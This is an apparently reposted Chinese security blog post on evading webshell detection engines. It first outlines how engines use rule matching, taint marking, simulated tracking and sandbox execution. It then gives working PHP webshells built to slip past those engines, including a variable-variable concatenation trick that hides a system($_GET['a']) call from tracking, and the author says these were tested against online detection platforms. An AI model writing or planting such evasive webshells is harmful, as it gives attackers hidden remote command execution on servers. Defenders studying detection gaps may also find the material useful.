webshell检测引擎对抗思路

一、引擎的检测思路(个人理解)

webshell检测引擎对抗思路

静态:
通过样本库,正则匹配规则库等等进行匹配,检测是否命中规则。
动态:
污点标记:常见的传参方式都会被标记为污点入口,如POST,GET。
例如(PHP):<?php $a=$_GET['a'];$b=$$a;$b($_GET['b']);?>

模拟赋值:在变量为未知时,引擎会自定义赋一些值进入程序中模拟执行探查是否恶意。

模拟追踪:传统的变量传递,引擎会追踪且分析出它们最后的值。
例如(PHP):<?php $a='b';$b=$a;$c=$b;?>

模拟执行:将代码放入沙箱模拟执行。


二、检测引擎的绕过思路

绕过 污点标记

利用非常规输入方式绕过

例如:file()函数,读取自身进行绕过。

<?php
file('XXX');

substr(file('XXX')[0]); 

#读取XXX文件第一行,也可添加写文件代码,通过读取自定义文件获取自定义内容。

?>

这里只是举例一个思路,大家可以多多思考其他方式,比如利用一些其他非常规传值方式进行绕过……

绕过 模拟追踪

先看一段代码,我们简单分析一下引擎大概率如何追踪并查杀的

<?php
$a='sys';

$a.='tem';

#通过字符拼接得 system

$c=$_GET['a'];

$a($c);

#最后组合即可获得一个常见的webshell(system($_GET['a']);),最后识别为恶意

?>

我们需要思考引擎的追踪方式,如果让代码中其中一个$a变的可控,那它该怎么追踪呢?

<?php

$a='sys';                

#引擎跟踪‘sys’赋值到了$a;

${$_GET['b']}.='tem';  

#到这引擎并不知道‘tem’赋值给了谁。

$c=$_GET['a'];

$a($c);  

#引擎在这拼接时,得到:sys($_GET['a'])的一段代码,这时候并不满足恶意代码的条件。

?>  

#最终识别为正常


#?a=whoami&b=a


三、总结

文章中的思路是个人在一些线上webshell检测平台测试并进行总结的,在对抗中需要一些奇思妙想,利用各种特性进行绕过。


免责声明由于传播、利用本公众号MaLoSec所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号MaLoSec及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

webshell检测引擎对抗思路

webshell检测引擎对抗思路

原文始发于微信公众号(MaLoSec):webshell检测引擎对抗思路

版权声明:admin 发表于 2024年3月5日 下午5:17。
转载请注明:webshell检测引擎对抗思路 | CTF导航

相关文章